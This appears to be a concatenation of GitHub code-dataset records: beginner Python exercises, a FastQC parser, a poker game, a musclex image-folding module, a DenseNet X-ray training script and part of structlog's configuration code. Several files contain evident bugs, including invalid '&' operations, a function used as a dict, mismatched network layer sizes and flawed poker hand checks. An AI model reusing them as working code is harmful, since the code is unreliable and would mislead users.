answer:\n score += 1\n print(f\"You're right. Current score: {score}\")\n a = b\n else:\n game = False\n print(f\"Sorry, that's wrong. Final score: {score}\")","repo_name":"Uju-Chinedum/100-Days-of-Code","sub_path":"day_14.py","file_name":"day_14.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"69936960080","text":"# Author: Lalitha Viswanathan\n# Affiliation: Stanford HealthCare\n# Package to extract per base GC Content\n#\nimport sys\nfrom typing import TextIO\n\nimport numpy as np\nfrom pycparser.ply.cpp import xrange\n\n\ndef extract_perbase_GCContentRowsFromFastQC(filepointer: TextIO, line: str, resultsdata: dict, per_base_gc_content: list[str]) -> tuple[TextIO, dict, dict]:\n try:\n # Extended to extract additional data ######\n if filepointer & line & resultsdata & line.startswith('>>Per base GC content'):\n resultsdata['perperbasegccontent'] = {}\n resultsdata['perperbasegccontent']['passfail'] = line.rstrip().split('\\t')[1]\n resultsdata['perperbasegccontent']['perbasegccontentrows'] = []\n perbasegcrows: list[str] = resultsdata['perperbasegccontent']['perbasegccontentrows']\n\n # Get header row\n resultsdata['perperbasegccontent']['header'] = filepointer.readline().rstrip().split('\\t')\n\n # Get other rows # Split the ranges as individual values\n # Create dictionary per base\n nextrow = filepointer.readline()\n while not nextrow.startswith('>>END_MODULE'):\n nextrow = filepointer.readline()\n perbasegcrows.append(nextrow.rstrip().split('\\t'))\n vals: list[str] = nextrow.strip().split('\\t')\n if '-' in vals[0]:\n minvals: int\n minvals, maxvals = vals[0].strip().split('-')\n for x in xrange(int(minvals), int(maxvals)):\n per_base_gc_content['rows'][x] = float(vals[1])\n else:\n if '>>' not in vals[0]:\n per_base_gc_content['rows'][int(vals[0])] = float(vals[1])\n continue\n if per_base_gc_content:\n return filepointer, resultsdata, per_base_gc_content\n else:\n raise Exception(\"Error encountered while parsing GC Content rows\")\n except Exception as exception:\n print(\"Exception while parsing GC Content rows %s\" % exception)\n finally:\n print(\"Finished parsing GC Content rows\")\n\n\ndef perbasegccontent(resultsdata: dict) -> tuple[dict, dict]:\n \"\"\"\n\n :rtype: object\n \"\"\"\n # print \"###Per base GC Content###\"\n # header and 3 intervals\n perbasegccontent['header'] = resultsdata['perperbasegccontent']['header']\n counter = 0\n for listiterator in np.array_split(perbasegccontent['rows'].keys(), 3):\n counter += 1\n subdict: dict = {rowentry: perbasegccontent['rows'][rowentry] for rowentry in listiterator if rowentry in perbasegccontent['rows']}\n for key in subdict.keys():\n perbasegccontent['intervals' + str(counter)][key] = subdict[key]\n perbasegccontent['interval' + str(counter) + 'avg'] = np.average(subdict.values())\n # entire results, not needed\n # results = {'fastqc': resultsdata}\n if perbasegccontent:\n try:\n del perbasegccontent['rows']\n resultsperbasegccontent = {'fastqcperbasegccontent': perbasegccontent}\n except Exception:\n print(\"Unexpected error:\", sys.exc_info()[0])\n raise Exception(sys.exc_info()[0])\n\n return perbasegccontent, resultsperbasegccontent\n","repo_name":"lvn3668/fastqcparser","sub_path":"per_base_GC_Content/extract_perbase_GCcontent_fromFastQC.py","file_name":"extract_perbase_GCcontent_fromFastQC.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"29712712978","text":"# Desenvolva um programa que leia quatro valores pelo teclado e garde-os em uma tupla.\n# No final, mostre:\n# Quantas vezes apareceu o valor 9;\n# Em que posição foi digitado o primeiro valor 3;\n# Quais foram os números pares;\n\nn1 = int(input('Digite um valor: '))\nn2 = int(input('Digite um valor: '))\nn3 = int(input('Digite um valor: '))\nn4 = int(input('Digite um valor: '))\nlista = (n1, n2, n3, n4)\nprint(f'O valor 9 apareceu {lista.count(9)} vezes')\nif lista.count(3) > 0:\n print(f'O primeiro valor 3 aparece na {lista.index(3) + 1}ª posição')\nelse:\n print('O valor 3 aparece nenhuma vez')\nprint('Os números pares foram:', end=' ')\nfor n in lista:\n if n % 2 == 0:\n print(n, end=' ')\n","repo_name":"JoaoPauloAlbuquerque/Aprendendo-Python","sub_path":"CursoEmVideo/ex075.py","file_name":"ex075.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"165839058","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom params import * # noqa\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nif __name__ == '__main__':\n ymeans = np.load(YMEANS_PATH)\n ystds = np.load(YSTDS_PATH)\n ixs = np.load(IXS_PATH)\n ypredictions = np.load(YPREDICTIONS_PATH)\n\n plt.title('Bayesian Inference by MCMC')\n\n # draw a predictive curve\n plt.plot(ixs, ystds, label='predictive std', linestyle='dashed')\n\n plt.legend(loc='best')\n plt.savefig('results/mcstds_{}.png'.format(M))\n","repo_name":"seiya-kumada/cct_blog","sub_path":"pymc/visualize_std.py","file_name":"visualize_std.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"29"} +{"seq_id":"38289850687","text":"\n# File: Poker.py\n\n# Description: This is a file that plays 5 card poker\n\n# Student's Name: Nelson Morrow\n\n# Student's UT EID: ntm432\n\n# Partner's Name: tfwnofriends\n\n# Partner's UT EID: -\n\n# Course Name: CS 313E\n\n# Unique Number:\n\n# Date Created: 02/08/16\n\n# Date Last Modified: 02/10/16\n\nimport random\n\nclass Card (object):\n RANKS = (2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14)\n\n SUITS = ('C', 'D', 'H', 'S')\n\n def __init__ (self, rank = 12, suit = 'S'):\n if (rank in Card.RANKS):\n self.rank = rank\n else:\n self.rank = 12\n\n if (suit in Card.SUITS):\n self.suit = suit\n else:\n self.suit = 'S'\n\n def __str__ (self):\n if (self.rank == 14):\n rank = 'A'\n elif (self.rank == 13):\n rank = 'K'\n elif (self.rank == 12):\n rank = 'Q'\n elif (self.rank == 11):\n rank = 'J'\n else:\n rank = str (self.rank)\n return rank + self.suit\n\n def __eq__ (self, other):\n return (self.rank == other.rank)\n\n def __ne__ (self, other):\n return (self.rank != other.rank)\n\n def __lt__ (self, other):\n return (self.rank < other.rank)\n\n def __le__ (self, other):\n return (self.rank <= other.rank)\n\n def __gt__ (self, other):\n return (self.rank > other.rank)\n\n def __ge__ (self, other):\n return (self.rank >= other.rank)\n\nclass Deck (object):\n def __init__ (self):\n self.deck = []\n for suit in Card.SUITS:\n for rank in Card.RANKS:\n card = Card (rank, suit)\n self.deck.append (card)\n\n def shuffle (self):\n random.shuffle (self.deck)\n\n def deal (self):\n if (len(self.deck) == 0):\n return None\n else:\n return self.deck.pop(0)\n\nclass Poker (object):\n def __init__ (self, num_players):\n self.deck = Deck()\n self.deck.shuffle()\n self.players = []\n numcards_in_hand = 5\n self.PPoints = 0\n\n for i in range (num_players):\n hand = []\n for j in range (numcards_in_hand):\n hand.append (self.deck.deal())\n self.players.append (hand)\n\n def play (self):\n\n self.playernumber = []\n # sort the hands of each player and print\n self.points_hand = []\n self.combinationlist = [] #This list will be used to store each players hand\n self.combination = 'Nothing' #Default hand\n for i in range (len(self.players)):\n sortedHand = sorted (self.players[i], reverse = True)\n self.players[i] = sortedHand\n hand = ''\n for card in sortedHand:\n hand = hand + str (card) + ' '\n print ('Player ' + str (i + 1) + \" : \" + hand)\n # determine the each type of hand and print\n self.is_one_pair(self.players[i]) #Begin the process of going through the possibilities\n self.is_two_pair(self.players[i])\n self.is_three_kind(self.players[i])\n self.is_straight(self.players[i])\n self.is_flush(self.players[i])\n self.is_full_house(self.players[i])\n self.is_four_kind(self.players[i])\n self.is_straight_flush(self.players[i])\n self.is_royal(self.players[i])\n # create list to store points for each hand\n self.points_hand.append(self.PPoints)\n self.combinationlist.append(self.combination)\n self.combination = 'Nothing'\n self.PPoints = 0\n if max(self.points_hand) == 0: #If everyone gets nothing and has a score of 0\n self.break_tie() #player with the highest card wins\n else: # determine winner\n self.determine_winner()\n for i in range(len(self.players)): # print players and their hands\n print('Player '+str(i+1)+': ' + str(self.combinationlist[i])+ '\\n')\n\n print('Player '+str(self.playernumber[0]+1) + ' wins! '+ '\\n') # print winner\n for i in range(len(self.players)):\n if (self.combinationlist[i] is 'Nothing'):\n print('Player ' + str(i+1) + ' ties!' )\n\n # determine if a hand is a royal flush\n def is_royal (self, hand):\n same_suit = True\n for i in range (len(hand) - 1):\n same_suit = same_suit and (hand[i].suit == hand[i + 1].suit)\n\n if (not same_suit):\n return False\n\n rank_order = True\n for i in range (len(hand)):\n rank_order = rank_order and (hand[i].rank == 14 - i)\n if rank_order == True and same_suit == True:\n self.PPoints = 10\n self.combination = \"Royal Flush\"\n return (same_suit and rank_order)\n\n\n def is_straight_flush (self, hand):\n i = 0\n rank_order = True\n same_suit = True\n while(i <= len(hand)-5):\n for k in range (i, i+5):\n same_suit = same_suit and (hand[i].suit == hand[k].suit)\n i+=1\n if same_suit == True:\n for k in range (len(hand)):\n rank_order = rank_order and (hand[k].rank == hand[0].rank-k)\n if rank_order == True and same_suit == True:\n self.PPoints = 9\n self.combination = 'Straight Flush'\n return True\n\n return (same_suit and rank_order)\n\n def is_four_kind (self, hand):\n i = 0\n same_rank = True\n while(i < len(hand)-4):\n for k in range (i, i+4):\n same_rank = same_rank and (hand[k].rank == hand[i].rank)\n if same_rank == True:\n self.PPoints = 8\n return True\n i+=1\n return (same_rank)\n\n def is_full_house (self, hand):\n i = 0\n same_rank = True\n while(i <= len(hand)-5):\n for k in range (0,i+3):\n same_rank = same_rank and (hand[k].rank == hand[i].rank)\n if same_rank == True:\n for p in range(k+1,k+3):\n same_rank = same_rank and (hand[p].rank == hand[k+1].rank)\n if same_rank == True:\n self.PPoints = 7\n self.combination = 'Full House'\n return True\n\n i+=1\n return (same_rank)\n\n def is_flush (self, hand):\n i = 0\n same_suit = True\n while(i <= len(hand)-5):\n for k in range (i, i+5):\n same_suit = same_suit and (hand[k].suit == hand[i].suit)\n if same_suit == True:\n self.combination = 'Flush'\n self.PPoints = 6\n return True\n i+=1\n return (same_suit)\n\n\n def is_straight (self, hand):\n i = 0\n rank_order = True\n while(i <= len(hand)-5):\n for k in range (i, i+5):\n rank_order = rank_order and (hand[k].rank == hand[i].rank-k)\n if rank_order == True:\n self.combination = 'Straight'\n self.PPoints = 5\n return True\n i+=1\n return (rank_order)\n\n\n def is_three_kind (self, hand):\n i = 0\n same_rank = True\n while(i < len(hand)-3):\n for k in range (i, i+3):\n same_rank = same_rank and (hand[k].rank == hand[i].rank)\n if same_rank == True:\n self.combination = 'Three kind'\n self.PPoints = 4\n return True\n i+=1\n return (same_rank)\n\n def is_two_pair (self, hand):\n i = 0\n count=0\n while(i < (len(hand)-1)):\n if (hand[i].rank == hand[i + 1].rank):\n count+=1\n i+=1\n i = i+1\n if count >= 2:\n self.combination = 'Two pair'\n self.PPoints = 3\n return True\n\n return False\n\n # determine if a hand is one pair\n def is_one_pair (self, hand):\n i = 0\n while(i < (len(hand)-1)):\n if (hand[i].rank == hand[i + 1].rank):\n self.combination = 'One pair'\n self.PPoints = 2\n return True\n i = i+1\n return False\n\n def is_high_card (self, hand):\n\n high_card = hand[0]\n high_card_rank = hand[0].rank\n return(high_card_rank)\n def determine_winner(self): #This function alters numberlist to be a list of the winners in descending order\n\n for i in range(len(self.points_hand)):\n self.playernumber.append(i)\n\n for k in range(len(self.points_hand)-1):\n for i in range(len(self.points_hand)-1):\n while self.points_hand[i] < self.points_hand[i+1]:\n temp = self.points_hand[i]\n playernumbertemp = self.playernumber[i]\n self.points_hand[i] = self.points_hand[i+1]\n self.playernumber[i] = self.playernumber[i+1]\n self.points_hand[i+1] = temp\n self.playernumber[i+1] = playernumbertemp\n\n def break_tie (self): #This function alters numberlist to be a list of the winners in descending order, when every player gets Nothing\n #(Score of 0)\n\n for i in range(len(self.points_hand)):\n self.playernumber.append(i)\n\n for k in range(len(self.players)-1):\n for i in range(len(self.players)-1):\n while self.is_high_card(self.players[i]) < self.is_high_card(self.players[i+1]):\n temp = self.players[i]\n playernumbertemp = self.playernumber[i]\n self.players[i] = self.players[i+1]\n self.playernumber[i] = self.playernumber[i+1]\n self.players[i+1] = temp\n self.playernumber[i+1] = playernumbertemp\n\n return False\n\n\n\ndef main():\n # prompt user to enter the number of players\n num_players = int (input ('Enter number of players: '))\n while ((num_players < 2) or (num_players > 6)):\n num_players = int (input ('Enter number of players: '))\n\n # create the Poker object\n game = Poker (num_players)\n\n # play the game (poker)\n game.play()\n\n\nmain()\n","repo_name":"nelsontodd/Python-projects","sub_path":"Poker.py","file_name":"Poker.py","file_ext":"py","file_size_in_byte":9271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"24361520191","text":"import sys\nimport json\nimport os\nfrom os.path import splitext\nimport traceback\nimport fabio\nimport pandas as pd\nfrom PIL import Image\nfrom musclex import __version__\ntry:\n from ..utils.file_manager import *\n from ..utils.image_processor import *\n from ..modules.QuadrantFolder import QuadrantFolder\n from ..csv_manager.QF_CSVManager import QF_CSVManager\nexcept: # for coverage\n from utils.file_manager import *\n from utils.image_processor import *\n from modules.QuadrantFolder import QuadrantFolder\n from csv_manager.QF_CSVManager import QF_CSVManager\n\nclass QuadrantFoldingh:\n \"\"\"\n Window displaying all information of a selected image.\n This window contains 2 tabs : image, and result\n \"\"\"\n def __init__(self, filename, inputsettings, delcache, settingspath=os.path.join('musclex', 'settings', 'qfsettings.json'), lock=None, dir_path=None, imgList=None, currentFileNumber=None, fileList=None, ext=None):\n \"\"\"\n :param filename: selected file name\n :param inputsettings: flag for input setting file\n :param delcache: flag for deleting cache\n :param settingspath: setting file directory\n \"\"\"\n self.version = __version__\n self.quadFold = None # QuadrantFolder object\n self.img_zoom = None # zoom location of original image (x,y range)\n self.default_img_zoom = None # default zoom calculated after processing image\n self.default_result_img_zoom = None # default result image zoom calculated after processing image\n self.result_zoom = None # zoom location of result image (x,y range)\n self.function = None # current active function\n self.updated = {'img': False, 'result': False} # update state of 2 tabs\n self.BGImages = []\n self.calSettings = None\n self.ignoreFolds = set()\n self.csv_bg = None\n self.orientationModel = None\n self.modeOrientation = None\n self.newImgDimension = None\n self.lock = lock\n if dir_path is not None:\n self.dir_path, self.imgList, self.currentFileNumber, self.fileList, self.ext = dir_path, imgList, currentFileNumber, fileList, ext\n else:\n self.dir_path, self.imgList, self.currentFileNumber, self.fileList, self.ext = getImgFiles(str(filename), headless=True)\n self.numberOfFiles = len(self.imgList)\n if len(self.imgList) == 0:\n self.inputerror()\n return\n self.inputsettings=inputsettings\n self.delcache=delcache\n self.settingspath=settingspath\n fileName = self.imgList[self.currentFileNumber]\n file=fileName+'.info'\n cache_path = os.path.join(self.dir_path, \"qf_cache\", file)\n cache_exist=os.path.isfile(cache_path)\n if self.delcache:\n if cache_exist:\n os.remove(cache_path)\n self.quadFold = QuadrantFolder(self.dir_path, fileName, self, self.fileList, self.ext)\n\n if self.inputsettings:\n self.setCalibrationImage()\n self.onImageChanged()\n\n def inputerror(self):\n \"\"\"\n Display input error to screen\n \"\"\"\n self.statusPrint('Invalid Input')\n self.statusPrint(\"Please select non empty failedcases.txt or an image\\n\\n\")\n\n def ableToProcess(self):\n \"\"\"\n Check if image can be processed\n \"\"\"\n return self.quadFold is not None\n\n def deleteInfo(self, delList):\n \"\"\"\n Remove input keys from info dict of current QuadrantFolder object\n :param delList: list of keys\n \"\"\"\n if self.ableToProcess():\n for inf in delList:\n if inf in self.quadFold.info.keys():\n del self.quadFold.info[inf]\n\n def onImageChanged(self):\n \"\"\"\n Need to be called when image is change i.e. to the next image.\n This will create a new QuadrantFolder object for the new image and syncUI if cache is available\n Process the new image if there's no cache.\n \"\"\"\n fileName = self.imgList[self.currentFileNumber]\n file=fileName+'.info'\n cache_path = os.path.join(self.dir_path, \"qf_cache\", file)\n cache_exist=os.path.isfile(cache_path)\n\n if 'ignore_folds' in self.quadFold.info:\n self.ignoreFolds = self.quadFold.info['ignore_folds']\n\n # self.updateParams()\n self.markFixedInfo(self.quadFold.info)\n self.statusPrint(\"Settings in onImageChange before update\")\n self.statusPrint(self.calSettings)\n\n # Process new image\n self.processImage()\n\n self.statusPrint('---------------------------------------------------')\n\n if self.inputsettings and cache_exist and not self.delcache:\n self.statusPrint('cache exists, provided setting file was not used ')\n elif self.inputsettings and (not cache_exist or self.delcache):\n self.statusPrint('setting file provided and used for fitting')\n elif not self.inputsettings and cache_exist and not self.delcache:\n self.statusPrint('cache exist, no fitting was performed')\n elif not self.inputsettings and (self.delcache or not cache_exist):\n self.statusPrint('fitting with default settings')\n\n self.statusPrint('---------------------------------------------------')\n\n def markFixedInfo(self, currentInfo):\n \"\"\"\n Deleting the center for appropriate recalculation\n \"\"\"\n if 'center' in currentInfo:\n del currentInfo['center']\n\n if not self.inputsettings and 'calib_center' in currentInfo:\n del currentInfo['calib_center']\n\n def getExtentAndCenter(self):\n \"\"\"\n Give the extent and center of the image\n \"\"\"\n if self.quadFold is None:\n return [0,0], (0,0)\n if self.quadFold.orig_image_center is None:\n self.quadFold.findCenter()\n self.statusPrint(\"Done.\")\n if 'calib_center' in self.quadFold.info:\n center = self.quadFold.info['calib_center']\n elif 'manual_center' in self.quadFold.info:\n center = self.quadFold.info['manual_center']\n else:\n center = self.quadFold.orig_image_center\n\n extent = [self.quadFold.info['center'][0] - center[0], self.quadFold.info['center'][1] - center[1]]\n return extent, center\n\n def processImage(self):\n \"\"\"\n Process Image by getting all flags and call process() of QuadrantFolder object\n Then, write data and update UI\n \"\"\"\n if self.ableToProcess():\n flags = self.getFlags()\n self.statusPrint(\"Flags in processImage:\")\n self.statusPrint(flags)\n try:\n self.quadFold.process(flags)\n except Exception:\n self.statusPrint('Unexpected error')\n msg = 'Please report the problem with error message below and the input image\\n\\n'\n msg += \"Error : \" + str(sys.exc_info()[0]) + '\\n\\n' + str(traceback.format_exc())\n self.statusPrint(msg)\n raise\n\n self.updateParams()\n # acquire the lock\n if self.lock is not None:\n self.lock.acquire()\n self.csvManager = QF_CSVManager(self.dir_path)\n self.csvManager.writeNewData(self.quadFold)\n # release the lock\n if self.lock is not None:\n self.lock.release()\n\n # Save result to folder qf_results\n if 'resultImg' in self.quadFold.imgCache:\n result_path = fullPath(self.dir_path, 'qf_results')\n createFolder(result_path)\n\n result_file = str(join(result_path, self.imgList[self.currentFileNumber]))\n result_file, _ = splitext(result_file)\n img = self.quadFold.imgCache['resultImg']\n\n img = img.astype(\"float32\")\n if 'compressed' in self.quadFold.info and not self.quadFold.info['compressed']:\n result_file += '_folded.tif'\n fabio.tifimage.tifimage(data=img).write(result_file)\n else:\n result_file += '_folded_compressed.tif'\n tif_img = Image.fromarray(img)\n tif_img.save(result_file, compression='tiff_lzw')\n # metadata = json.dumps([True, self.quadFold.initImg.shape])\n # imsave(result_file, img, description=metadata)\n self.saveBackground()\n\n def saveBackground(self):\n \"\"\"\n Save the background image in bg folder\n \"\"\"\n info = self.quadFold.info\n result = self.quadFold.imgCache[\"BgSubFold\"]\n avg_fold = info[\"avg_fold\"]\n background = avg_fold-result\n resultImg = self.quadFold.makeFullImage(background)\n\n if 'rotate' in info and info['rotate']:\n resultImg = np.rot90(resultImg)\n\n filename = self.imgList[self.currentFileNumber]\n bg_path = fullPath(self.dir_path, os.path.join(\"qf_results\", \"bg\"))\n result_path = fullPath(bg_path, filename + \".bg.tif\")\n\n # create bg folder\n createFolder(bg_path)\n resultImg = resultImg.astype(\"float32\")\n # imsave(result_path, resultImg)\n fabio.tifimage.tifimage(data=resultImg).write(result_path)\n\n total_inten = np.sum(resultImg)\n csv_path = join(bg_path, 'background_sum.csv')\n if self.csv_bg is None:\n # create csv file to save total intensity for background\n if exists(csv_path):\n self.csv_bg = pd.read_csv(csv_path)\n else:\n self.csv_bg = pd.DataFrame(columns=['Name', 'Sum'])\n self.csv_bg = self.csv_bg.set_index('Name')\n\n if filename in self.csv_bg.index:\n self.csv_bg = self.csv_bg.drop(index=filename)\n\n self.csv_bg.loc[filename] = pd.Series({'Sum':total_inten})\n self.csv_bg.to_csv(csv_path)\n\n def updateParams(self):\n \"\"\"\n Update the parameters\n \"\"\"\n info = self.quadFold.info\n if 'orientation_model' in info:\n self.orientationModel = info['orientation_model']\n if self.calSettings is not None and 'center' in self.calSettings and 'calib_center' in info:\n # Update cal settings center with the corresponding coordinate in original (or initial) image\n # so that it persists correctly on moving to next image\n self.calSettings['center'] = info['calib_center']\n self.getExtentAndCenter()\n\n def getFlags(self):\n \"\"\"\n Get all flags for QuadrantFolder process() from widgets\n :return: flags (dict)\n \"\"\"\n flags = {}\n\n flags['orientation_model'] = self.orientationModel\n flags['ignore_folds'] = self.ignoreFolds\n # default values, same as QuadrantFoldingGUI.py default\n flags['bgsub'] = 'None'\n flags[\"cirmin\"] = 0.0\n flags[\"cirmax\"] = 25.0\n flags['win_size_x'] = 10\n flags['win_size_y'] = 10\n flags['win_sep_x'] = 10\n flags['win_sep_y'] = 10\n flags[\"bin_theta\"] = 30\n flags['radial_bin'] = 10\n flags['smooth'] = 0.1\n flags['tension'] = 1.0\n flags[\"tophat1\"] = 5\n flags['tophat2'] = 20\n flags['mask_thres'] = getMaskThreshold(self.quadFold.orig_img)\n flags['sigmoid'] = 0.1\n flags['fwhm'] = 10\n flags['boxcar_x'] = 10\n flags['boxcar_y'] = 10\n flags['cycles'] = 5\n flags['blank_mask'] = False\n flags['rotate'] = False\n\n if self.calSettings is not None:\n flags.update(self.calSettings)\n if 'center' in flags:\n flags.pop('center')\n return flags\n\n def statusPrint(self, text):\n \"\"\"\n Print the text in the window or in the terminal depending on if we are using GUI or headless.\n :param text: text to print\n :return: -\n \"\"\"\n if text != \"\":\n pid = os.getpid()\n ptext = \"[Process \"+str(pid)+\"] \"+str(text)\n print(ptext)\n else:\n print(text)\n\n def setCalibrationImage(self):\n \"\"\"\n Popup Calibration Settings window, if there's calibration settings in cache or force to open\n :param force: force to popup the window\n :return: True if calibration set, False otherwise\n \"\"\"\n settingspath=self.settingspath\n if self.inputsettings:\n try:\n with open(settingspath, 'r') as f:\n self.calSettings = json.load(f)\n except Exception:\n self.statusPrint(\"Can't load setting file\")\n self.inputsettings = False\n self.calSettings = None\n if self.calSettings is not None and 'center' in self.calSettings:\n self.quadFold.info['calib_center'] = self.calSettings['center']\n else:\n self.inputsettings = False\n if 'manual_center' in self.quadFold.info:\n del self.quadFold.info['manual_center']\n if 'center' in self.quadFold.info:\n del self.quadFold.info['center']\n else:\n if self.quadFold is not None and 'calib_center' in self.quadFold.info:\n del self.quadFold.info['calib_center']\n if self.quadFold is not None and 'center' in self.quadFold.info:\n del self.quadFold.info['center']\n","repo_name":"biocatiit/musclex","sub_path":"musclex/headless/QuadrantFoldingh.py","file_name":"QuadrantFoldingh.py","file_ext":"py","file_size_in_byte":13477,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"29"} +{"seq_id":"570721718","text":"import torch\r\ntorch.cuda.current_device()\r\nfrom torch import nn\r\nfrom torch import optim\r\nimport matplotlib.pyplot as plt\r\nimport torch.nn.functional as F\r\nfrom torchvision import datasets, transforms, models\r\nfrom pathlib import Path\r\nimport argparse\r\n\r\nparser=argparse.ArgumentParser()\r\n\r\nparser.add_argument(\"-epochs\", \"--epochs\", type=int, default=10, help=\"Enter Number of epochs\")\r\nparser.add_argument(\"-learning_rate\", \"--learning_rate\", type=float, default=0.1, help=\"Enter Learning Rate\")\r\nargs=parser.parse_args()\r\n\r\ndata_dir = 'images'\r\n\r\ntrain_transforms = transforms.Compose([transforms.RandomResizedCrop(224),\r\n transforms.ToTensor()]) \r\n\r\ntest_transforms = transforms.Compose([transforms.Resize(255),\r\n transforms.CenterCrop(224),\r\n transforms.ToTensor()])\r\n\r\ntrain_data = datasets.ImageFolder(data_dir + '/train', transform=train_transforms)\r\ntest_data = datasets.ImageFolder(data_dir + '/test', transform=test_transforms)\r\n\r\ntrainloader = torch.utils.data.DataLoader(train_data, batch_size=64, shuffle=True)\r\ntestloader = torch.utils.data.DataLoader(test_data, batch_size=64)\r\n\r\n# model = models.resnet34(pretrained=True)\r\n\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n\r\nmodel = models.densenet121(pretrained=True)\r\n\r\n# num_fts = model.fc.in_features\r\n\r\nfor param in model.parameters():\r\n param.requires_grad = False\r\n \r\nmodel.classifier = nn.Sequential(nn.Linear(1024, 2),\r\n nn.ReLU(),\r\n nn.Dropout(0.2),\r\n nn.Linear(256, 2),\r\n nn.LogSoftmax(dim=1))\r\n\r\ncriterion = nn.NLLLoss()\r\n\r\noptimizer = optim.Adam(model.classifier.parameters(), lr=args.learning_rate)\r\n\r\nmodel.to(device);\r\n\r\nepochs = args.epochs\r\nsteps = 0\r\nrunning_loss = 0\r\nprint_every = 5\r\n# loss = torch.zeros(1,requires_grad=True)\r\nfor epoch in range(epochs):\r\n for inputs, labels in trainloader:\r\n steps += 1\r\n # Move input and label tensors to the default device\r\n inputs, labels = inputs.to(device), labels.to(device)\r\n \r\n optimizer.zero_grad()\r\n \r\n logps = model.forward(inputs)\r\n loss = criterion(logps, labels)\r\n # loss.requires_grad = True\r\n # print(type(loss))\r\n loss.backward()\r\n optimizer.step()\r\n\r\n running_loss += loss.item()\r\n \r\n if steps % print_every == 0:\r\n test_loss = 0\r\n accuracy = 0\r\n model.eval()\r\n with torch.no_grad():\r\n for inputs, labels in testloader:\r\n inputs, labels = inputs.to(device), labels.to(device)\r\n logps = model.forward(inputs)\r\n batch_loss = criterion(logps, labels)\r\n \r\n test_loss += batch_loss.item()\r\n \r\n # Calculate accuracy\r\n ps = torch.exp(logps)\r\n top_p, top_class = ps.topk(1, dim=1)\r\n equals = top_class == labels.view(*top_class.shape)\r\n accuracy += torch.mean(equals.type(torch.FloatTensor)).item()\r\n \r\n print(f\"Epoch {epoch+1}/{epochs}.. \"\r\n f\"Train loss: {running_loss/print_every:.3f}.. \"\r\n f\"Test loss: {test_loss/len(testloader):.3f}.. \"\r\n f\"Test accuracy: {accuracy/len(testloader)}\")\r\n running_loss = 0\r\n model.train()\r\n\r\nPATH = Path(\"./model_q1.pth\")\r\n\r\ntorch.save(model,PATH)","repo_name":"lastlap/covid_xray","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3666,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"26860538331","text":"# This file is dual licensed under the terms of the Apache License, Version\n# 2.0, and the MIT License. See the LICENSE file in the root of this\n# repository for complete details.\n\n\"\"\"\nGlobal state department. Don't reload this module or everything breaks.\n\"\"\"\n\nfrom __future__ import absolute_import, division, print_function\n\nimport warnings\n\nfrom collections import OrderedDict\n\nfrom ._generic import BoundLogger\nfrom ._loggers import (\n PrintLoggerFactory,\n)\nfrom .dev import ConsoleRenderer, _has_colorama\nfrom .processors import (\n StackInfoRenderer,\n TimeStamper,\n format_exc_info,\n)\n\n_BUILTIN_DEFAULT_PROCESSORS = [\n StackInfoRenderer(),\n format_exc_info,\n TimeStamper(fmt=\"%Y-%m-%d %H:%M.%S\", utc=False),\n ConsoleRenderer(colors=_has_colorama),\n]\n_BUILTIN_DEFAULT_CONTEXT_CLASS = OrderedDict\n_BUILTIN_DEFAULT_WRAPPER_CLASS = BoundLogger\n_BUILTIN_DEFAULT_LOGGER_FACTORY = PrintLoggerFactory()\n_BUILTIN_CACHE_LOGGER_ON_FIRST_USE = False\n\n\nclass _Configuration(object):\n \"\"\"\n Global defaults.\n \"\"\"\n is_configured = False\n default_processors = _BUILTIN_DEFAULT_PROCESSORS[:]\n default_context_class = _BUILTIN_DEFAULT_CONTEXT_CLASS\n default_wrapper_class = _BUILTIN_DEFAULT_WRAPPER_CLASS\n logger_factory = _BUILTIN_DEFAULT_LOGGER_FACTORY\n cache_logger_on_first_use = _BUILTIN_CACHE_LOGGER_ON_FIRST_USE\n\n\n_CONFIG = _Configuration()\n\"\"\"\nGlobal defaults used when arguments to :func:`wrap_logger` are omitted.\n\"\"\"\n\n\ndef get_logger(*args, **initial_values):\n \"\"\"\n Convenience function that returns a logger according to configuration.\n\n >>> from structlog import get_logger\n >>> log = get_logger(y=23)\n >>> log.msg(\"hello\", x=42)\n y=23 x=42 event='hello'\n\n :param args: *Optional* positional arguments that are passed unmodified to\n the logger factory. Therefore it depends on the factory what they\n mean.\n :param initial_values: Values that are used to pre-populate your contexts.\n\n :rtype: A proxy that creates a correctly configured bound logger when\n necessary.\n\n See :ref:`configuration` for details.\n\n If you prefer CamelCase, there's an alias for your reading pleasure:\n :func:`structlog.getLogger`.\n\n .. versionadded:: 0.4.0\n `args`\n \"\"\"\n return wrap_logger(None, logger_factory_args=args, **initial_values)\n\n\ngetLogger = get_logger\n\"\"\"\nCamelCase alias for :func:`structlog.get_logger`.\n\nThis function is supposed to be in every source file -- we don't want it to\nstick out like a sore thumb in frameworks like Twisted or Zope.\n\"\"\"\n\n\ndef wrap_logger(logger, processors=None, wrapper_class=None,\n context_class=None, cache_logger_on_first_use=None,\n logger_factory_args=None, **initial_values):\n \"\"\"\n Create a new bound logger for an arbitrary *logger*.\n\n Default values for *processors*, *wrapper_class*, and *context_class* can\n be set using :func:`configure`.\n\n If you set an attribute here, :func:`configure` calls have *no* effect for\n the *respective* attribute.\n\n In other words: selective overwriting of the defaults while keeping some\n *is* possible.\n\n :param initial_values: Values that are used to pre-populate your contexts.\n :param tuple logger_factory_args: Values that are passed unmodified as\n ``*logger_factory_args`` to the logger factory if not `None`.\n\n :rtype: A proxy that creates a correctly configured bound logger when\n 